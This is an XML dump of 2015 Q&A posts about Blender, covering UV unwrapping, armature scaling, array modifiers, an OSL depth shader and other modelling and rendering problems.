  <row Id="24827" PostTypeId="2" ParentId="24826" CreationDate="2015-02-15T21:33:08.690" Score="8" Body="&lt;p&gt;This can be achieved by using the following node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/swxEf.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/swxEf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The formula which I implemented in order to achieve this can be found in the &lt;a href=&quot;http://en.wikipedia.org/wiki/Torus#Geometry&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia article for Torus&lt;/a&gt;. Note that this only works for tori whose big radius is greater than or equal to it's small radius.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2015-12-15T21:21:38.717" LastActivityDate="2015-12-15T21:21:38.717" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="24830" PostTypeId="1" CreationDate="2015-02-15T23:07:58.203" Score="0" ViewCount="36" Body="&lt;p&gt;I am an Adjunct Professor teaching Blender for the first time. I am following through the exercises in BlenderBasics_4thEdition2011.pdf and have gotten to the section on texturing. The book goes through the creation of a Lighthouse and now I am texturing it. I want to have a closeup view of the roof of the lighthouse after partitioning it as the lesson describes on page 54.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get a close up view I selected the roof and want to center the screen on the vertices of it so I pressed the &quot;.&quot; key on the numerical key pad. When I do that the view zooms so that the roof is off the screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was given the following answer by Ray Marilot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in object mode (as you are) the . key zooms to the centre, or object origin, of the object. In your case the object origin of the object is positioned at the bottom of the lighthouse (the small orange dot resting on the red 'X' axis line in the 3D view).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two options are to either press . while in edit mode with the vertices you want to zoom to selected or you can change the origin of the object with Ctrl+Alt+Shift+C&gt; Origin to geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried Ray's answer and was able to move the origin but pressing the &quot;.&quot; key after that still did not work. The centering was still on the bottom of the lighthouse, as if the origin was still there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6v1MT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still don't know what is wrong here.  Can you help?&lt;/p&gt;&#xA;" OwnerUserId="8332" LastActivityDate="2015-02-15T23:07:58.203" Title="Error zooming in to selected vertices using the &quot;.&quot; key" Tags="&lt;mesh&gt;&lt;editing&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-02-16T01:31:10.940" ContentLicense="CC BY-SA 3.0" />
  <row Id="24831" PostTypeId="1" CreationDate="2015-02-15T23:12:58.990" Score="2" ViewCount="646" Body="&lt;p&gt;I am trying to export a model as a .fbx I've done exactly as I have for other models and for some reason I am getting an error. Can anyone tell me how to fix this?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wSzW6.png&quot; alt=&quot;Export Error&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11622" LastEditorUserId="2607" LastEditDate="2015-02-16T08:38:40.347" LastActivityDate="2015-02-16T08:38:40.347" Title="FBX exporting error" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;export&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-02-16T08:41:07.950" ContentLicense="CC BY-SA 3.0" />
  <row Id="24832" PostTypeId="2" ParentId="24815" CreationDate="2015-02-15T23:13:55.293" Score="3" Body="&lt;p&gt;what i did is that i control the radius of the circle along the X axis to create the capsule &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K9OoJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the node group setup :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LJplL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the last input of the node group is the ratio of X/Y &lt;br/&gt;&#xA;at the moment there is no scaling option along the X axis &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/34442&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Complete (and combed) noodles :&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QA5WC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Also changed the input&#xA;here an edit for scaling :  change the first value to scale along the X axis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4BMEA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-02-16T16:14:05.450" LastActivityDate="2015-02-16T16:14:05.450" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24833" PostTypeId="2" ParentId="24752" CreationDate="2015-02-15T23:20:36.363" Score="1" Body="&lt;p&gt;Well, with some tries I've come to understanding, that problem is not in the surface, but in chains. In Blender's physics engine mass is corresponding to durability (sic!). So, realsize chains with a calculated mass near 1g each is too weak and they &quot;break&quot; during collisions. The only working workaround was to scale everything up several times and increase the mass of everything...&lt;/p&gt;&#xA;" OwnerUserId="11589" LastActivityDate="2015-02-15T23:20:36.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24834" PostTypeId="1" AcceptedAnswerId="24844" CreationDate="2015-02-15T23:41:01.830" Score="3" ViewCount="1343" Body="&lt;p&gt;I'm trying to unwrap an open carton box I'm struggling to model in Blender.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mark seam&lt;/li&gt;&#xA;&lt;li&gt;Select all&lt;/li&gt;&#xA;&lt;li&gt;Unwrap&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Instead of getting rectangle shapes, my box gets unwrapped in an odd way that can not&#xA;be used for adding textures to it (such as a logo).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IzbRx.jpg&quot; alt=&quot;Distorted UV map&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11623" LastEditorUserId="5426" LastEditDate="2015-02-15T23:48:47.333" LastActivityDate="2015-02-16T13:02:27.390" Title="Unwrapped map gets distored" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;texture-baking&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24835" PostTypeId="2" ParentId="24834" CreationDate="2015-02-15T23:48:38.977" Score="2" Body="&lt;p&gt;It looks like you need to add more seams to your object.  It looks as if the box has some overlapping/wrapped around parts.  This is often caused by a loop of faces around the object with no seam allowing the loop to be flattened out.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-02-16T00:09:51.567" LastActivityDate="2015-02-16T00:09:51.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24836" PostTypeId="1" CreationDate="2015-02-16T02:59:47.697" Score="6" ViewCount="31230" Body="&lt;p&gt;I seem to be locked into Object Mode.&#xA;When I hit Tab, Blender won't switch into Edit Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening? And how do I fix it?&lt;/p&gt;&#xA;" OwnerUserId="11124" LastEditorUserId="599" LastEditDate="2015-08-30T19:35:07.673" LastActivityDate="2020-06-27T11:01:18.250" Title="Why can't I switch out of object mode?" Tags="&lt;objects&gt;" AnswerCount="7" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24837" PostTypeId="1" CreationDate="2015-02-16T03:09:51.460" Score="4" ViewCount="1218" Body="&lt;p&gt;I deal with architectural visualization. I have used Vray before and I have gotten excellent results. I am struggling to get the same or about the same results with cycles. So my question is...is it possible to get the same or about the same results with cycles as it is with vray? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="8315" LastActivityDate="2015-02-16T03:32:35.433" Title="Is it possible to get Vray like renders using Cycles?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="6" FavoriteCount="3" ClosedDate="2015-02-16T16:50:39.293" ContentLicense="CC BY-SA 3.0" />
  <row Id="24839" PostTypeId="1" AcceptedAnswerId="24856" CreationDate="2015-02-16T03:43:03.790" Score="5" ViewCount="8653" Body="&lt;p&gt;I have an armature that I need to resize. When I scale it and apply the scale changes, all of the armature's associated poses/animations are ruined, because the position data for bones in the poses wasn't scaled with it. The way I understand it, poses work by storing data about a bone relative to the &quot;rest pose&quot; position of the bone's parent. It's &lt;em&gt;this&lt;/em&gt; position data that doesn't change when the armature's size is changed, resulting in the pose being rendered unusable. If I scale the armature and &lt;em&gt;don't apply&lt;/em&gt; the scale changes, everything works correctly; the armature is uniformly resized and all the poses/animations are preserved. But as soon as I &lt;em&gt;control + a&lt;/em&gt; and apply the new scale, I end up with a crushed mess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The armature, posed:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BiAcL.png&quot; alt=&quot;The armature&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The armature, after having been scaled, but without the scale applied:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cgLwQ.png&quot; alt=&quot;The armature, after having been scaled&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After applying the scale:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xeLGu.png&quot; alt=&quot;After applying the scale&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to make the pose data scale &lt;em&gt;along with&lt;/em&gt; the armature (so that when a size change would be applied nothing would appear to change)? It seems like a very important thing, and that there should be some sort of &lt;em&gt;&quot;scale poses with armatures&quot;&lt;/em&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; How do you scale an armature &lt;strong&gt;&lt;em&gt;along with&lt;/em&gt;&lt;/strong&gt; its associated poses/animations?&lt;/p&gt;&#xA;" OwnerUserId="11624" LastActivityDate="2018-07-27T04:52:10.220" Title="How do I resize an armature without ruining its poses?" Tags="&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24840" PostTypeId="2" ParentId="24781" CreationDate="2015-02-16T04:31:25.327" Score="7" Body="&lt;p&gt;Regardless it is square-based or not, you can always select all sloped edges, then hit &lt;kbd&gt;W&lt;/kbd&gt; &gt; Subdivide, then tweak the number of cuts as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AdCeR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another trick is to first bevel the pole vertex, with a very small value, to make all sloped faces &lt;strong&gt;quads&lt;/strong&gt; (they might still look like triangles , but they are actually quads now), then you can use loop cut tool to cut them. After that, just remove the extra vertices with &lt;strong&gt;Remove Doubles&lt;/strong&gt; tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bviGM.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-02-16T04:55:13.787" LastActivityDate="2015-02-16T04:55:13.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24841" PostTypeId="1" CreationDate="2015-02-16T05:51:00.947" Score="2" ViewCount="1558" Body="&lt;p&gt;I want to create a &quot;wheel of fortune&quot; type wheel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IleuA.jpg&quot; alt=&quot;Wheel of Fortune wheel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this I created a single segment that could be shown multiple times. It consists of a slice, some edge poles and a text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HKkOm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then planned on duplicating this using the array modifier. In order to apply an array modifier to all of these things (to have multiple instances), I parented them to an empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then thought I could apply the array modifier to the empty. But this does not seem to be possible. What am I thinking wrong?&lt;/p&gt;&#xA;" OwnerUserId="11629" LastActivityDate="2016-09-27T21:20:37.453" Title="Applying array modifier to multiple items" Tags="&lt;modifiers&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24843" PostTypeId="2" ParentId="24812" CreationDate="2015-02-16T06:47:51.200" Score="2" Body="&lt;p&gt;You can also try using &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;b&lt;/kbd&gt; to activate the box selection zoom tool, now you can drag out a box and the view will zoom to that area.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works in many modes, so Object, Edit, Paint, Sculpt, etc... but not the UVImage or the Node Editors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;c&lt;/kbd&gt; will zoom out to fit the scene so both can be used to quickly zoom in and out of an area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, if &lt;kbd&gt;Numpad .&lt;/kbd&gt;doesn't work for you than you should try resetting Blender to Factory Defaults: 'File-&gt;Load Factory Settings'.  Sometimes odd problems like the one you are having are due to some setting that was unknowingly changed.  &lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-04-19T12:26:15.593" LastActivityDate="2015-04-19T12:26:15.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24844" PostTypeId="2" ParentId="24834" CreationDate="2015-02-16T07:05:40.440" Score="3" Body="&lt;p&gt;That's happening because using &lt;kbd&gt;u&lt;/kbd&gt; UV Mapping-&gt;Unwrap works best if you treat the UV Islands as if they are made out of paper.  Paper doesn't stretch so if the UV Island you are trying to create would tear if you tried to make that shape with paper then it will also distort when you try to unwrap that shape in Blender.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PGmath is correct in that you should define seams for the model.(Or use 'Smart UV Project' which is usually very messy for complex shapes :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Activate Edge Selection mode using the header button or by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt; then select the second entry on the popup menu which is Edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now select an edge and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;e&lt;/kbd&gt; and look down the list for 'Mark Seam' the selected edge will now be highlighted in red.  Now when you use Unwrap, that marked edge will form one of the edges in the UV map coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2QAlt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After unwrapping, I selected all the UV Islands and Pressed Ctrl+p 'Pack Islands' to re-align them.  There is an option to Rotate the Islands which can be unchecked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend so you can have a closer look at the seam placement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/34450&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/34450&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-02-16T07:05:40.440" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24845" PostTypeId="2" ParentId="24841" CreationDate="2015-02-16T07:14:55.800" Score="3" Body="&lt;p&gt;Use the following settings for the Array modifier and be sure to add the empty for the Object Offset.  Note that the Modifier should be added to the object that is being duplicated and not the Empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y3kTi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now rotate the Empty&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1V3su.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-02-16T07:14:55.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24846" PostTypeId="2" ParentId="24793" CreationDate="2015-02-16T07:20:39.817" Score="1" Body="&lt;p&gt;You are likely experiencing a problem that blender has with the Viewport navigation where it becomes progressively less responsive.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try pressing &lt;kbd&gt;Numpad&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt;, or use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;b&lt;/kbd&gt; to drag out a Zoom To Area box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This restores the view navigation function.  &lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-02-16T16:19:02.147" LastActivityDate="2015-02-16T16:19:02.147" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24848" PostTypeId="1" AcceptedAnswerId="24863" CreationDate="2015-02-16T09:05:00.717" Score="1" ViewCount="1373" Body="&lt;p&gt;I used blender as CG generation tool for Computer Vision research. I tried to render depth (z) value of each surface instead of its color. So I make simple shader, like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shader depth_shader(&#xA;    vector Position = vector(1,0,0),&#xA;    output closure color Color = emission())&#xA;{&#xA;    vector lp = transform(&quot;world&quot;,&quot;camera&quot;,Position);&#xA;    Color= color(lp[2], lp[2], lp[2]) * emission();    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;Position&quot; is input from Geometry node. But when I tried this, It returns odd results, and some pixel has negative value. How to get camera space position, which only applied by rotation, scale and translation? (Before projection matrix multiplication)&lt;/p&gt;&#xA;" OwnerUserId="5659" LastActivityDate="2015-02-16T14:42:46.400" Title="How to transform world space vertex to camera space position in Cycles OSL" Tags="&lt;osl&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24849" PostTypeId="1" CreationDate="2015-02-16T09:05:29.317" Score="1" ViewCount="123" Body="&lt;p&gt;If I want to make every vertex to be associated with three joints, no more or less, is there a way that doesn't involve manually setting the vertex?&lt;/p&gt;&#xA;" OwnerUserId="11631" LastEditorUserId="11631" LastEditDate="2015-02-16T09:25:24.520" LastActivityDate="2015-02-16T09:47:27.607" Title="How do I make every vertex to be associated with the same number of bones?" Tags="&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24850" PostTypeId="2" ParentId="24849" CreationDate="2015-02-16T09:41:00.143" Score="1" Body="&lt;p&gt;There is an operator called &lt;strong&gt;Limit Number of Weights per Vertex&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Limit deform weights associated with a vertex to a specified number by removing lowest weights&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Operator call in Python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.vertex_group_limit_total(group_select_mode='ALL', limit=4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find it while in &lt;em&gt;Edit Mode&lt;/em&gt; of the parented mesh,&lt;br&gt;&#xA;in the 3D View &lt;kbd&gt;T&lt;/kbd&gt;-toolshelf &lt;em&gt;&gt; Tools &gt; Weight Tools &gt; Limit Total&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you go to &lt;em&gt;Weight Paint&lt;/em&gt; mode &lt;em&gt;&gt; Weights menu &gt; Limit Total&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-02-16T09:47:27.607" LastActivityDate="2015-02-16T09:47:27.607" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24851" PostTypeId="1" CreationDate="2015-02-16T10:07:15.740" Score="2" ViewCount="289" Body="&lt;p&gt;there is a very nice &lt;a href=&quot;http://blenderdiplom.com/en/tutorials/419-tutorial-absorption-in-cycles.html&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; showing the mathematics behind light absorption - the amount of light is getting less during it's move through colored material. - following the law of Lambert &amp;amp; Beer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This mathematically approach could be used to visualize the absorption of normally invisible radioactive gamma rays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine a scene with a radioactive-ray source inside a box made of a absorption-material (could be made of led-, concrete or iron…)&#xA;The absorption coefficients for each material can be found in scientific literature and so the mathematics can be adopted)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Has anyone experience in such an approach or heard about someone else who tried to visualize radioactive emissions with blender?&#xA;(I know there exists very expensive specialized programs to do such calculations, but they are much to expensive for a simple human being - and they are not that entertaining and not as nice as Blender)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And how can the amount of light that is not absorbed by the box-material and travels through the absorbing material to the surface be &quot;measured&quot;? Or how can one measure the density of light on the surface of such a box.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for your help!&lt;/p&gt;&#xA;" OwnerUserId="11632" LastEditorUserId="3710" LastEditDate="2015-02-16T11:05:09.763" LastActivityDate="2015-02-16T11:53:40.553" Title="Visualize radioactive gamma rays &amp; their absorption in materials using cycles" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;&lt;mathematics&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24852" PostTypeId="1" AcceptedAnswerId="26175" CreationDate="2015-02-16T10:31:43.853" Score="11" ViewCount="3241" Body="&lt;p&gt;This is a common problem I've found in a few jobs related with ocean. When the camera is close to the surface, looking at the horizon, those black areas appear. Either with a normal texture or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dtSi9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4h7Uk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks there's a problem with ocean's self reflection, but I can't avoid this by adjusting the bounces. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/4bi5po7chyggyhg/ocean_problems.rar?dl=0&quot; rel=&quot;noreferrer&quot;&gt;Here is the .blend file&lt;/a&gt;. As you can see, the environment is visible only through camera and glossy, and the problem keeps with a blank environment too. The scene is lit with a sun lamp and plain color environment.&lt;/p&gt;&#xA;" OwnerUserId="9482" LastEditorUserId="9482" LastEditDate="2015-02-17T10:21:00.623" LastActivityDate="2017-06-20T10:31:45.457" Title="Black reflections with Cycle's Glossy Material" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="3" CommentCount="11" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24854" PostTypeId="2" ParentId="24851" CreationDate="2015-02-16T11:42:23.833" Score="1" Body="&lt;p&gt;There are &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Materials/Volume&quot; rel=&quot;nofollow noreferrer&quot;&gt;volumetric materials&lt;/a&gt; in Blender which can visualize such rays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blob with hole and radioactive stone inside (volume absorbtion with volume scatter):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TJKXL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would &quot;measure&quot; the intensity with pixel value on the surface i guess&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have an impression from your question that you would like to simulate the absorption or even measure it, you will &lt;strong&gt;not get any precise scientific result from Blender, only artistic.&lt;/strong&gt; Blender does not work with real scientific units (except from dimensions) and its calculations take shortcuts to get better performance, its not precise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's why that specialized software is so expensive, it actually simulates it all. &lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-02-16T11:53:40.553" LastActivityDate="2015-02-16T11:53:40.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24855" PostTypeId="2" ParentId="24743" CreationDate="2015-02-16T12:08:34.237" Score="1" Body="&lt;p&gt;select your old armature. In armature settings, change the armature data with the new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iNg0r.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nBJzg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-16T12:08:34.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24856" PostTypeId="2" ParentId="24839" CreationDate="2015-02-16T12:35:59.537" Score="7" Body="&lt;p&gt;You will have to scale the pose data's F-curves (you don't need to scale the armature and apply the scale then..):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You need to have keys for scale and location for every bone&lt;/li&gt;&#xA;&lt;li&gt;Hide rotation f-curves for every bone (don't want to alter rotations)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set pivot to 2D Cursor and position the cursor so the Y is 0 and X is any frame:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yKSDI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all visible (&lt;kbd&gt;A&lt;/kbd&gt;). &lt;kbd&gt;S&lt;/kbd&gt;+&lt;kbd&gt;Y&lt;/kbd&gt; to scale animations/poses in pose space. Tadaa!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-02-16T12:35:59.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24858" PostTypeId="1" CreationDate="2015-02-16T12:51:21.853" Score="0" ViewCount="301" Body="&lt;p&gt;In my scene the model only has three bones attached to it.  Most of the vertices have weights for these three bones, but a few of them only have weights for one or two of the bones. For some reasons, I'd like to let all of them have weights for &quot;at least&quot; three bones, and &quot;no more than&quot; three bones, because for now a few of the vertices only have weights from one or two bones.&lt;/p&gt;&#xA;" OwnerUserId="11631" LastActivityDate="2015-02-17T09:59:05.950" Title="make vertices have the same number of weights" Tags="&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24860" PostTypeId="1" CreationDate="2015-02-16T13:30:55.090" Score="5" ViewCount="232" Body="&lt;p&gt;I got a model from &lt;a href=&quot;http://en.wikipedia.org/wiki/SketchUp&quot; rel=&quot;nofollow noreferrer&quot;&gt;SketchUp&lt;/a&gt;, and imported it into Blender to modify it. It was just half the figure, meant in the end to be mirrored to have it be completed, and when I initially imported it into Blender it was lined up perfectly so that both the nose and tail were nicely aligned at x axis 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Through the course of working on it however I must have accidentally rotated it off center. I want to duplicate the left side so that I can mirror it and then merge these two halves, but I need to have that center loop of the figure uniformly on x axis 0. How do I get it squared up again?! &lt;a href=&quot;https://i.stack.imgur.com/LALOn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;See how it's been tilted off center?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11635" LastEditorUserId="1224" LastEditDate="2015-02-16T18:40:59.763" LastActivityDate="2015-02-16T18:40:59.763" Title="Getting an object lined up with the x, y, or z axis again" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
